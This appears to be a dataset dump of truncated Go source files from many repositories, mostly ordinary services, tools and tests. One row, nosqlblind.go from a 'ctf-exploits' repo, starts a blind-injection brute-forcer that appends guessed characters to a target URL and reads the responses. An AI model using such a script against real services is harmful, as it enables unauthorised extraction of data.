blob_id stringlengths 40 40 | content_id stringlengths 40 40 | repo_name stringlengths 5 114 | path stringlengths 5 318 | language stringclasses 5
values | extension stringclasses 12
values | length_bytes int64 200 200k | license_type stringclasses 2
values | content stringlengths 143 200k |
|---|---|---|---|---|---|---|---|---|
f219e96ecc09d344293103d15fef0a04481e52b0 | d2dd64a6ea174bab40ed5184a52ae0a0dc332457 | askuy/juno | /internal/pkg/service/user/authorize.go | Go | go | 1,841 | permissive | package user
import (
"encoding/base32"
"errors"
"fmt"
"time"
"github.com/douyu/juno/pkg/model/db"
"github.com/douyu/juno/internal/pkg/packages/gitlab"
"github.com/gorilla/securecookie"
"github.com/labstack/echo/v4"
"github.com/labstack/gommon/log"
)
func GitlabAuthCHeck(c echo.Context) (err error) {
// w... |
9032e81661bd8abf5bf0b5bb329cb58c0f7c4ae3 | 77de2468fdfd01cb25e0067d4a38db854f49f07d | erda-project/erda | /internal/tools/orchestrator/events/collect_deploy_time.go | Go | go | 2,960 | permissive | // Copyright (c) 2021 Terminus, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agree... |
27a92af7b715785c74f795f091f425e4c6b03a7e | 3dfd803901b951da9675f309a318c8afb5fae137 | stevenmsl/go-lang | /src/concurrent-pipeline/main.go | Go | go | 4,637 | no_license | /*
A pipeline consists of stages. Each stage will take the data in,
perform a transformation on it, and then send the data back out.
Stage
- A stage consumes and returns the same type.
- A stage must be reified by the language so that it may be passed around.
(Need to do more research on this. (nomad, high order fun... |
bdb44e5eea09be78658a47b0ea89991a234f618a | a9a1949f5711ae0c742c89dcdf921034a94f8c52 | golifes/fadmin | /pkg/config/load.go | Go | go | 356 | no_license | package config
import (
"encoding/json"
"fmt"
"io/ioutil"
)
func Load(path string, v interface{}) {
data, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println("load读取配置文件出错--->", path)
panic(err)
}
err = json.Unmarshal(data, v)
if err != nil {
fmt.Println("load序列化配置文件出错--->", path)
panic(err)
}
... |
2d8ba361d58b2c959a2e374e7cc4bc7d2703cffb | c16faa1ff491052655656014b8071ef26afd37e4 | AkihiroSuda/cntnr | /image/store/imagestorero.go | Go | go | 5,646 | permissive | package store
import (
"encoding/base64"
"io/ioutil"
"os"
"path/filepath"
"runtime"
"time"
"github.com/mgoltzsche/cntnr/image"
exterrors "github.com/mgoltzsche/cntnr/pkg/errors"
"github.com/mgoltzsche/cntnr/pkg/log"
digest "github.com/opencontainers/go-digest"
ispecs "github.com/opencontainers/image-spec/s... |
0f7d2aec4afd41c7f6b005bf836815dc50b4b0ac | 83b7bcf727f6ac85248e663df3daf98024b722be | crypto-coin-world/powergate | /cmd/pow/cmd/wallet_new_addr.go | Go | go | 1,472 | permissive | package cmd
import (
"context"
"errors"
"fmt"
"time"
"github.com/spf13/cobra"
"github.com/spf13/viper"
"github.com/textileio/powergate/api/client"
"google.golang.org/protobuf/encoding/protojson"
)
func init() {
newAddrCmd.Flags().StringP("format", "f", "", "Optionally specify address format bls or secp256k1... |
d33adefb58ed602b7fc42b4663fbca256eac9525 | 6ee75173be55434df778d9f6b5d53f7b031bfd3c | corpix/parse | /either.go | Go | go | 4,304 | permissive | package parse
import (
"fmt"
)
var _ Rule = new(Either)
// Either represents a list of Rule's to match in the data.
// One of the rules in a list must match.
type Either struct {
name string
Rules Rules
Hooks []RuleParseHook
}
// Name indicates the name which was given to the rule
// on creation. Name could be... |
e7f4737d68bedca34eacf110d88347ad63573e97 | 31a6bc4d3d9377234c408a3d7126886c6286fd06 | cndark/server-1 | /src/game/app/gamedata/gconf_privCard.go | Go | go | 1,573 | no_license | package gamedata
var ConfPrivCard = &privCardTable{}
type privCard struct {
Id int32 `json:"id"` // 特权卡
CounterTimeLimit []*struct {
Id int32 `json:"id"`
N int32 `json:"n"`
} `json:"counterTimeLimit"` // 有效期内次数加成
CounterOnce []*struct {
Id int32 `json:"id"`
N int32 `json:"n"`
} `json:"cou... |
d669d73f80379587dc83e556bfd4f0f952b75e02 | d181c4bb81df93e2cd6e13f8d9553942b8ec6b96 | 61lf0yl3/ctf-exploits | /nosqlblind.go | Go | go | 884 | no_license | package main
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func BlindLDAP(b string, char []rune) {
var url string
url = b
for _, j := range char {
url = b + string(j)
req, _ := http.NewRequest("GET", url, nil)
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ := ioutil.ReadAll(r... |
8029df821876df2d815ce8f24cb734c88385b954 | 02a5e9cae7bcb1955dd6075e4a6d58e0b560a036 | joyent/freebsd-vpc | /vendor/github.com/jackc/pgx/pgproto3/backend_test.go | Go | go | 648 | permissive | package pgproto3_test
import (
"testing"
"github.com/jackc/pgx/pgproto3"
)
func TestBackendReceiveInterrupted(t *testing.T) {
t.Parallel()
server := &interruptReader{}
server.push([]byte{'Q', 0, 0, 0, 6})
backend, err := pgproto3.NewBackend(server, nil)
if err != nil {
t.Fatal(err)
}
msg, err := backen... |
9e5e89a6d27f8560e253b98759f016cb160a5df1 | 7823902856792ad8a3a33d581194fb61da1e9dc6 | MyPureCloud/platform-client-sdk-cli | /build/gc/cmd/conversations_messaging_settings_default/conversations_messaging_settings_default.go | Go | go | 9,253 | permissive | package conversations_messaging_settings_default
import (
"fmt"
"github.com/mypurecloud/platform-client-sdk-cli/build/gc/logger"
"github.com/mypurecloud/platform-client-sdk-cli/build/gc/retry"
"github.com/mypurecloud/platform-client-sdk-cli/build/gc/services"
"github.com/mypurecloud/platform-client-sdk-cli/build/... |
d9f162c3bbfd6ae73c5d8920ab66908884570ecd | 6bbdfeec80f3974becc9b7132885396e1f54512f | Jimdo/asg-ebs | /Godeps/_workspace/src/gopkg.in/alecthomas/kingpin.v2/values.go | Go | go | 9,860 | permissive | package kingpin
//go:generate go run ./cmd/genvalues/main.go
import (
"fmt"
"net"
"net/url"
"os"
"reflect"
"regexp"
"strings"
"time"
"github.com/alecthomas/units"
)
// NOTE: Most of the base type values were lifted from:
// http://golang.org/src/pkg/flag/flag.go?s=20146:20222
// Value is the interface to ... |
843eac71cd131950de95b6e89e242349c2eb9178 | d7cba613090e9e7f93d94afe2912072e03df4272 | patdaman/endpoint-monitor | /dbclient/bolt-client.go | Go | go | 3,180 | permissive | package dbclient
import (
"encoding/json"
"fmt"
"strconv"
"context"
bolt "github.com/etcd-io/bbolt"
"github.com/patdaman/endpoint-monitor/model"
"github.com/patdaman/endpoint-monitor/tracing"
"github.com/sirupsen/logrus"
)
// IBoltClient defines a simple little interface for interacting with a BoltDB
type I... |
6624de16d9684a6ae4e00dd56bf9fef3d0523620 | d65b57f8b70c3caeb96840c88e2cbf091c9c6c41 | alfunx/flux | /stdlib/math/math.go | Go | go | 21,002 | permissive | package math
import (
"fmt"
"math"
"github.com/influxdata/flux"
"github.com/influxdata/flux/semantic"
"github.com/influxdata/flux/values"
"github.com/pkg/errors"
)
var SpecialFns map[string]values.Function
func generateMathFunctionX(name string, mathFn func(float64) float64) values.Function {
return values.N... |
77ebf7e1c0de3b54cfafa7118f87af77a73655bf | 0b8f64420e93b37649d4a6c994c78d2ed06f7162 | apphuangweipeng137/istio | /pkg/test/deployment/helm.go | Go | go | 4,398 | permissive | // Copyright 2018 Istio Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agree... |
ad01dea1c090045ec0c8cc592a1918de938d1681 | ff4bd618cdb4b772ba6aac6bfb1d8f4594a1f62e | mbrukman/mish | /data/db/storage/storages/composite.go | Go | go | 1,908 | no_license | package storages
import (
"context"
"github.com/windmilleng/mish/data"
"github.com/windmilleng/mish/data/db/storage"
)
type CompositeRecipeSink struct {
sinks []storage.RecipeSink
}
func NewCompositeRecipeSink(sinks ...storage.RecipeSink) *CompositeRecipeSink {
return &CompositeRecipeSink{sinks: sinks}
}
func... |
6c29abf0dcb839e016224293698212952a1ebfcf | 1e5f6de1c82bd0db3b1beae0d2379fd35327ffc5 | relloyd/gosnowflake | /vendor/github.com/google/uuid/sql.go | Go | go | 1,483 | permissive | // Copyright 2016 Google Inc. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package uuid
import (
"github.com/relloyd/go-sql/database/sql/driver"
"fmt"
)
// Scan implements sql.Scanner so UUIDs can be read from databases transparently
... |
fb88710b06061a143e890c5d5b60d54ddc922976 | ae49789c527ac246f40e86f8d7dd1608e377753a | randomcrab/ebitenui | /widget/listcombobutton.go | Go | go | 4,522 | permissive | package widget
import (
"image"
"github.com/blizzy78/ebitenui/event"
"github.com/blizzy78/ebitenui/input"
"github.com/hajimehoshi/ebiten"
"golang.org/x/image/font"
)
type ListComboButton struct {
EntrySelectedEvent *event.Event
buttonOpts []SelectComboButtonOpt
listOpts []ListOpt
init *Mu... |
66077c8d86fc2b2bfde802057374828a506a8c0a | be3627c7d5e09c834d143dfcfa2a047f82685f05 | bobquest33/openinstrument | /store_config/etcd_config_store.go | Go | go | 11,283 | permissive | package store_config
import (
"flag"
"fmt"
"log"
"strings"
"sync"
"time"
"github.com/coreos/etcd/client"
"github.com/dparrish/openinstrument"
oproto "github.com/dparrish/openinstrument/proto"
"github.com/golang/protobuf/proto"
"golang.org/x/net/context"
)
var (
// etcd communication
taskName = ... |
cbb19d9dedc550b29b0ac21e8136b0618d45b2cf | 9da5c8b89dfc882651c07873cfe4944154dd220c | libopenstorage/stork | /vendor/github.com/LINBIT/golinstor/client/apicallerror.go | Go | go | 1,072 | permissive | package client
import (
"strings"
)
type ApiCallError []ApiCallRc
func (e ApiCallError) Error() string {
var finalErr string
for i, r := range e {
finalErr += strings.TrimSpace(r.String())
if i < len(e)-1 {
finalErr += " next error: "
}
}
return finalErr
}
// Is is a shorthand for checking all ApiCall... |
43159607acf24e2f1dd32697984de4185f47b01b | 19f6fc7777b54a66f283a741c979da101a75bac4 | suskin/stack-azure | /pkg/clients/azure.go | Go | go | 9,949 | permissive | /*
Copyright 2019 The Crossplane Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
254494655d5fb9f8355911cbe6d47b0771fe5d85 | 020d0cfa883c7159f828175e2e3f5842569a629e | bonedaddy/share | /lib/memfs/generate_test/memfs_generate_test.go | Go | go | 1,603 | no_license | // Copyright 2019, Shulhan <ms@kilabit.info>. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package test
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/shuLhan/share/lib/memfs"
"github.com/shuLhan/share/lib/test"
)
f... |
c175ce9b0a713ff0bda60c5405a9a8ff0d327217 | 32e1fd3e5d8c137ddacd132452b8275f020f2a52 | ManchersterByTheSea/openBilibili | /go-common/app/admin/ep/saga/service/wechat.go | Go | go | 8,111 | no_license | package service
import (
"context"
"fmt"
"net/url"
"go-common/app/admin/ep/saga/conf"
"go-common/app/admin/ep/saga/model"
"go-common/app/admin/ep/saga/service/wechat"
"go-common/library/log"
"github.com/pkg/errors"
)
const qyWechatURL = "https://qyapi.weixin.qq.com"
// CollectWachatUsers send required wech... |
757144229e118a62fa7be3c9127b2d6daa935ed7 | ec8d77831535f2f8c2c8f6105b409095134928f2 | li-cindy/evergreen | /alerts/project_triggers.go | Go | go | 9,502 | permissive | package alerts
import (
"time"
"github.com/evergreen-ci/evergreen"
"github.com/evergreen-ci/evergreen/model/alertrecord"
"github.com/evergreen-ci/evergreen/model/task"
"github.com/mongodb/grip"
"github.com/mongodb/grip/message"
"github.com/mongodb/grip/sometimes"
"github.com/pkg/errors"
)
/* Task trigger Imp... |
274e4fd7d135230ba681d0f85dab950895670493 | 83bb41232419d1d10500000e8871fbea62ee4d91 | tamalsaha/url-demo | /main_test.go | Go | go | 2,678 | no_license | package main
import (
"testing"
"time"
)
func TestAdjustForWeekend(t *testing.T) {
type args struct {
now time.Time
adj WeekendAdjustment
}
tests := []struct {
name string
args args
want time.Time
}{
{
name: "Monday-NoChange",
args: args{
now: time.Date(2021, 12, 6, 10, 0, 0, 0, time.UTC),... |
131add25794dae2b9e720def09165f39002ef1db | 8f45438c7580182d3e815991973a4b30ee47c33c | Serendipity-sw/baiduHeatMap | /path_darwin.go | Go | go | 252 | no_license | package main
import "syscall"
// +build darwin
const recordPath = "./logs"
const pidFile = "./sceneportal.pid"
func isProcessExist(pid int) bool {
// 进程是否存在
err := syscall.Kill(pid, 0)
if err == nil {
return true
}
return false
}
|
0fd40e94f9c7e2c3fa8af4ec54c46bd62e5724ca | 44bc84abe25bf43e2db73209e3541a24510bc2a6 | pulcy/quark | /instance_images.go | Go | go | 1,019 | permissive | // Copyright (c) 2016 Pulcy.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in wri... |
55d12864cc418453af9d84d1cf4ac919c066a7a1 | 5221f32704cb3eea05b2b0893af738dc9594aa9d | EdTheLoon/GoTube | /server/server.go | Go | go | 1,290 | no_license | package server
import (
"net/http"
"os"
"github.com/gorilla/mux"
)
// The Server struct
// outputDir The filesystem location of videos
// assetsDir The filesystem location of static assets
// router The HTTP router to be used
// fs The FileServer for static files
// log The location for log files
type ... |
e33856f88ab571e3df5b2057d0db9141934c2f6e | 6c7aeee4d911c0d3cef7b7fded754bf642ffe33b | darrenkoh/theorylab_shopwatch | /src/webservice/models/productinfo.go | Go | go | 650 | no_license | package models
import (
b64 "encoding/base64"
"theorylab.com/shopwatch/internal/pkg/parser"
)
type ProductInfo struct {
Name string
Image string
Available string
Price []float64
Currency string
HTMLBody string
}
func CreateProductInfoObject(p parser.Product) (prodInfo *ProductInfo, err error)... |
421fb0e477d1ec135bc0686d896eb94fc52b3942 | 205437ed093ba8b5d238a9bf5e2314976655e2c7 | AkezhanOb1/LeetCodeNew | /DistributeCandies/main.go | Go | go | 395 | no_license | package main
import "fmt"
func main() {
fmt.Println(distributeCandies([]int{1, 1, 2, 3, 4}))
}
func distributeCandies(candies []int) int {
candyKinds := make(map[int]int)
for _, candy := range candies {
candyKinds[candy]++
}
counter := 0
for range candyKinds {
counter++
}
half := len(candies) / 2
if cou... |
981c788c5600686ec6662eb3064287c785afdc0b | f48e6b0f1f154c71fddfaa80b5df3b77d9840a4a | 100kgproxy/gvisor | /runsc/boot/vfs.go | Go | go | 10,195 | permissive | // Copyright 2018 The gVisor Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agree... |
ce0451820a43370c5f8631cb321f283c53c32333 | cdaadcb418393de783b7391dca497b79155e608b | Rhyanz46/GoWebService | /api/admin/handler.go | Go | go | 925 | no_license | package admin
import (
"gorm.io/gorm"
"main/utils"
"net/http"
)
type Admin struct {
DB *gorm.DB
}
func Routes(config *utils.RouterConfig) *Admin {
return &Admin{
DB: config.PrimaryDB,
}
}
func (user *Admin) HandleUserLogin(w http.ResponseWriter, r *http.Request) {
var err error
var status int
if r.Metho... |
453440d48e24161d3668c283efd7940449ef8220 | e5d5fc0c178a0a76db943db8799cb0c7de92e926 | braymuk/GoTests | /Maths/clock_test.go | Go | go | 860 | no_license | package main
import (
"math"
"testing"
"time"
"github.com/quii/learn-go-with-tests/math/v1/clockface"
)
func TestClock(t *testing.T) {
tm := time.Date(1337, time.January, 1, 0, 0, 0, 0, time.UTC)
want := clockface.Point{X: 150, Y: 150 - 90}
got := clockface.SecondHand(tm)
if want != got {
t.Errorf("Got %... |
41fd042eb06467ad08b47d6bfaf0f3968aa6ed7c | 7bb7790e67615a5b4b1b4e4b784c19326061dd88 | eddbc/fifth-bot | /fifth/msg.go | Go | go | 1,037 | permissive | package fifth
import (
"github.com/bwmarrin/discordgo"
"log"
)
var debugChannel = "459341365562572803" // testing-lab
var importantChannel = "610240336958062593" // general
var spamChannel = "610240336958062593" // kill-feed
var timerChannel = "610240336958062593"
//SendMsg Send a message to the default c... |
8303fa6f7aa196afbe557e27751cf523fbf95784 | f178121dc8f7f0ec24ef07d173ae1e712f532f0b | marcinc/provider-aws | /pkg/controller/kms/key/setup.go | Go | go | 9,583 | permissive | package key
import (
"context"
svcsdk "github.com/aws/aws-sdk-go/service/kms"
svcsdkapi "github.com/aws/aws-sdk-go/service/kms/kmsiface"
"github.com/pkg/errors"
ctrl "sigs.k8s.io/controller-runtime"
xpv1 "github.com/crossplane/crossplane-runtime/apis/common/v1"
"github.com/crossplane/crossplane-runtime/pkg/ev... |
7548732b55e2e16d0a14818791840cb09c5ed29b | 673794d34e45dd19cd5eb637767d797e62e0845d | peter-wins/grace-go-blog | /model/common.go | Go | go | 2,057 | no_license | package model
import (
"crypto/md5"
"encoding/hex"
"github.com/gin-gonic/gin"
"math/rand"
"net"
"strconv"
"time"
)
/*
*@code 返回码
*@msg 返回信息
*@data 返回跳转链接
*/
type Optreturn struct {
Code int
Msg string
LastID int
Url string
}
/**分页*/
type OptPage struct {
Start int `form:"start"`
Length int `f... |
073225ba31e0fb983ef9c30fb6de6de73c0ceedc | 17165f123e6e979bba62f48e6d5324343ce46a06 | may215/gollum | /producer/proxy.go | Go | go | 6,787 | permissive | // Copyright 2015-2017 trivago GmbH
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed ... |
69a279e788c812fa5c057dfbcc6c96b80cd4a49b | 59c5230e9ce924932d94fa3edb82afd27bfb6f67 | isabella232/api-client-go | /model_members.go | Go | go | 414 | permissive | /*
* LaunchDarkly REST API
*
* Build custom integrations with the LaunchDarkly REST API
*
* API version: 3.9.0
* Contact: support@launchdarkly.com
* Generated by: Swagger Codegen (https://github.com/swagger-api/swagger-codegen.git)
*/
package ldapi
type Members struct {
Links *Links `json:"_links,omitempty"`... |
28c287247410b947c1af41aab9b985f49cc5b9d4 | 34a11b12319c72dc49dc43254dd11a30556056c4 | Dictators/lotus-offline-signature | /sigs/sigs.go | Go | go | 2,130 | no_license | package sigs
import (
"fmt"
"github.com/filecoin-project/go-address"
"github.com/filecoin-project/go-state-types/crypto"
"golang.org/x/xerrors"
)
// Sign takes in signature type, private key and message. Returns a signature for that message.
// Valid sigTypes are: "secp256k1" and "bls"
func Sign(sigType crypto.S... |
d997016cd07e3c8fccb8c90e9bcc7fdb30e03d79 | b3d369ef5a593da80a1d48f2d3c2a24e31bba9f3 | kartmatias/goADM | /models/product_template.go | Go | go | 13,356 | permissive | package models
import (
"errors"
"fmt"
"reflect"
"strings"
"time"
"goADM/utils"
"github.com/astaxie/beego/orm"
)
//ProductTemplate 产品款式
type ProductTemplate struct {
ID int64 `orm:"column(id);pk;auto" json:"id" form:"-"` //主键
CreateUser *User `o... |
e4c0e1b32134c5cf6e3ad4d74cc49ec84fd965e3 | 33a9a103c99fcbe7b98c6f20cc7afd222f15d6ba | pingcap/tipocket | /pkg/test-infra/cdc/recommend.go | Go | go | 8,488 | permissive | // Copyright 2019 PingCAP, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to i... |
39feb0cab7fa41defc5abf955ed28ac5d268100b | 8a44c321e571be6f2624e788e3cd09de288330f1 | hbdlb/gpio | /watcher.go | Go | go | 6,111 | permissive | package gpio
import (
"container/heap"
"fmt"
"io"
"os"
"strconv"
"syscall"
"time"
)
type Pin uint
type watcherAction int
const (
watcherAdd watcherAction = iota
watcherRemove
watcherClose
)
type watcherCmd struct {
pin Pin
action watcherAction
}
type watcherNotify struct {
pin Pin
value uint
}
... |
d9672b695eef4aaad29852f202abfec05b15ee81 | 8c535c5661601ac641b959c27d1d8fa5dc554bd2 | wahello/dubbo-go | /protocol/grpc/grpc_invoker.go | Go | go | 3,990 | permissive | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may ... |
50fe1bc8f1a7ce5ae111e037aba03a5dece5c6ef | 245ab76c7b6cce71dc338f37f5f7dcdf8bc05d7b | ijaureguialzo/gitea | /integrations/api_issue_test.go | Go | go | 11,281 | permissive | // Copyright 2017 The Gitea Authors. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package integrations
import (
"fmt"
"net/http"
"net/url"
"testing"
"time"
"code.gitea.io/gitea/models"
api "code.gitea.io/gitea/modules/structs"
"... |
66f7fe4e8729ecc6492b8aeddebe28d3fc16e319 | f1d4157bceee1afc76bdf5183c0b491034e5acbd | WindzCUHK/athenz | /libs/go/athenz-common/log/debug.go | Go | go | 725 | permissive | // Copyright The Athenz Authors
// Licensed under the terms of the Apache version 2.0 license. See LICENSE file for terms.
package log
import (
"fmt"
"io"
"log"
)
var Debug bool
var writer io.Writer
func Printf(format string, v ...interface{}) {
log.Printf(format, v...)
}
func Errorf(format string, v ...interf... |
ba931b900224e3afa27dd404fa9e8a6cc5d3d1ed | 8a3832a83ee82b8e846a7b2092f5072dd04a129e | gofreta/gofreta-api | /models/user_test.go | Go | go | 9,289 | permissive | package models
import (
"encoding/base64"
"strings"
"testing"
"time"
"github.com/gofreta/gofreta-api/app"
"github.com/gofreta/gofreta-api/utils"
"github.com/globalsign/mgo/bson"
)
func TestUser_ValidatePassword(t *testing.T) {
user := &User{PasswordHash: "$2a$12$rdX7N6gpAzKJ/7DzCMyVdeRaTUv6faL6GxhTODzlJcuDH... |
9c029f77854d6907f8453933a3dbc428e0418ce9 | b73508b131c4a92eb9e8dfdcf585e65f777c0334 | chulinx/ok8s | /utils.go | Go | go | 2,064 | permissive | package ok8s
import (
"context"
"fmt"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/rest"
"k8s.io/client-go/tools/clientcmd"
"k8s.io/metrics/pkg/client/clientset/versioned"
"strconv"
"strings"
"time"
)
func NewClientSet(clientset *kubernetes.Clientset) *ClientSets {
return &ClientSets{ClientSet: clientset... |
2d9581d7f0ea4fe508cd309dfbb89737c4fd141b | 05080ee1cfdb58f8ad639e76c3c9c40a736c2e68 | zyedidia/tcell | /terminfo/terminfo.go | Go | go | 19,133 | permissive | // Copyright 2020 The TCell Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use file except in compliance with the License.
// You may obtain a copy of the license at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
9f06332db7f167b20e79f8013a164cab138fbcbc | 544bb7bb1e0523acf36e07a22b9da5b4afe68a24 | JamesLinus/goigc | /cmd/optimize.go | Go | go | 2,904 | permissive | // Copyright ©2015 Ricardo Rocha <rocha.porto@gmail.com>
//
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by a... |
c05bfb11a34357e9ebbe5b77a89b231d9e3a6cf7 | 337ceffd8c2c340fe8de8aca5848ed3021e11208 | mengqiy/kube-openapi | /pkg/handler/handler.go | Go | go | 7,432 | permissive | /*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
1045feef95ada33968d0f6ca1c2d6d153fd50cf3 | c27f73ae9facf724a4443c632a98d108787e180b | diptyojha/goLngFirstProject | /tests/controllertests/location_controller_test.go | Go | go | 6,427 | no_license | package controllertests
import (
"bytes"
"encoding/json"
"fmt"
"log"
"net/http"
"net/http/httptest"
"testing"
"github.com/diptyojha/goLngFirstProject/api/models"
"gopkg.in/go-playground/assert.v1"
)
func TestCreateLocation(t *testing.T) {
err := refreshUserAndLocationTable()
if err != nil {
log.Fatal(e... |
85761abd5d89ca10ec637a1118c0419d33db1036 | 03cc5c68de19fec2edcfe67ddfd366ac45c6ed79 | grafana/cortex | /vendor/github.com/tmc/grpc-websocket-proxy/wsproxy/websocket_proxy.go | Go | go | 10,055 | permissive | package wsproxy
import (
"bufio"
"fmt"
"io"
"net/http"
"strings"
"time"
"github.com/gorilla/websocket"
"github.com/sirupsen/logrus"
"golang.org/x/net/context"
)
// MethodOverrideParam defines the special URL parameter that is translated into the subsequent proxied streaming http request's method.
//
// Depr... |
9cce017d0e882866c00c1202cf4ef57ea340dd9d | 97c5d123a532ff03fffa9da068d16cf53d63e82c | mewbak/atmanos | /src/runtime/os1_atman.go | Go | go | 4,352 | permissive | package runtime
import (
"runtime/internal/atomic"
"unsafe"
)
func osinit() {
ncpu = 1
physPageSize = minPhysPageSize
atmaninit()
}
func init() {
parseCommandLine(_atman_start_info.CmdLine[:])
}
// parseCommandLine parses kernel arguments passed to the VM
// and appends them to argslice, which causes them to... |
21090824b5789110cce42977c0c5b803ffa872fb | e333308359359aab2006696fbbe36284380d5a9a | coffee4ai/school-api-b3 | /database/models/rooms.go | Go | go | 2,052 | permissive | package models
import (
"context"
"fmt"
"time"
"github.com/coffee4ai/school-api-b3/database/mongodb"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/bson/primitive"
"go.mongodb.org/mongo-driver/mongo"
)
// this is an instance of an online class, one document per section of a class.
type Online... |
067f7a4539de090fac05240976f185f5cd5e1ed3 | 0897dbc7896145c2ddf5f5d200f0418484dc8076 | HaidyCao/frp_0271 | /assets/assets.go | Go | go | 2,066 | permissive | // Copyright 2016 fatedier, fatedier@gmail.com
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law... |
743434eb4d538aa303190491ca118491b6d05ff7 | 408fc0c9b7cf8d3150afc8261e323a3e4d89995c | carlocayos/go-ipfs | /core/commands/config.go | Go | go | 9,564 | permissive | package commands
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"strings"
cmds "github.com/ipfs/go-ipfs/commands"
e "github.com/ipfs/go-ipfs/core/commands/e"
repo "github.com/ipfs/go-ipfs/repo"
config "github.com/ipfs/go-ipfs/repo/config"
fsrepo "github.com/ipfs/go-ipfs/... |
80e100dfcdd7a9d8888ee9c6f9709ab5b7cf6192 | be67a8aef950be3c43d9a9a37901870c6aaa8848 | dfallert-rcd/load-balancer-and-ingress-services-for-kubernetes | /ako-operator/controllers/statefulset.go | Go | go | 7,003 | permissive | /*
Copyright 2020 VMware, Inc.
All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in... |
900fba4561a3aaf3ecc535fb43cad88677b8e483 | d03479e3fb2774f0bd5beec903f1f317f2e1a52b | SENERGY-Platform/external-task-worker | /lib/test/mock/kafka.go | Go | go | 2,839 | permissive | /*
* Copyright 2019 InfAI (CC SES)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed t... |
87579922114e3fcd8c600575e90b655a7436eeec | b78a4c9f2b70aa0e14faa6f2d00b4870b9fd4a32 | sagarxooa/samples | /zapier/smartcontract/zapierCC_test.go | Go | go | 8,236 | no_license | package main
import (
"fmt"
"testing"
"github.com/hyperledger/fabric/core/chaincode/shim"
)
func Test_Init(t *testing.T) {
simpleCC := new(SimpleAsset)
mockStub := shim.NewMockStub("mockstub", simpleCC)
txId := "mockTxID"
mockStub.MockTransactionStart(txId)
response := simpleCC.Init(mockStub)
mockStub.Mock... |
fa316d599943cb73008e85248744cd7796084193 | 12ef8e2dff0db25a94c0b1b2820b68cc06e0f914 | drift-org/backend | /main.go | Go | go | 677 | no_license | package main
import (
"fmt"
"os"
"github.com/drift-org/backend/helpers"
"github.com/drift-org/backend/routes"
"github.com/joho/godotenv"
"github.com/kamva/mgm/v3"
"go.mongodb.org/mongo-driver/mongo/options"
)
func main() {
err := godotenv.Load()
helpers.AlertError(err, "The .env file could not be found")
... |
6db3b1cc1b3a7f630500d854191bbf1297a8af5f | b21f41501ce2598b5d45bf8af432e7ae9981fe89 | fraserb2/notifiarr | /pkg/snapshot/temperature_other.go | Go | go | 533 | permissive | // +build !freebsd,!openbsd,!netbsd
package snapshot
import (
"context"
"fmt"
"github.com/shirou/gopsutil/v3/host"
)
func (s *Snapshot) getSystemTemps(ctx context.Context, run bool) error {
if !run {
return nil
}
s.System.Temps = make(map[string]float64)
temps, err := host.SensorsTemperaturesWithContext(... |
046a2e24713ce0ff7648a23f487ee8d235e543ca | 26b5645042cbd97ffbb0c7c1e933b6dc07a798a1 | kubernetes/kops | /upup/pkg/fi/cloudup/awstasks/eventbridgerule.go | Go | go | 4,078 | permissive | /*
Copyright 2019 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
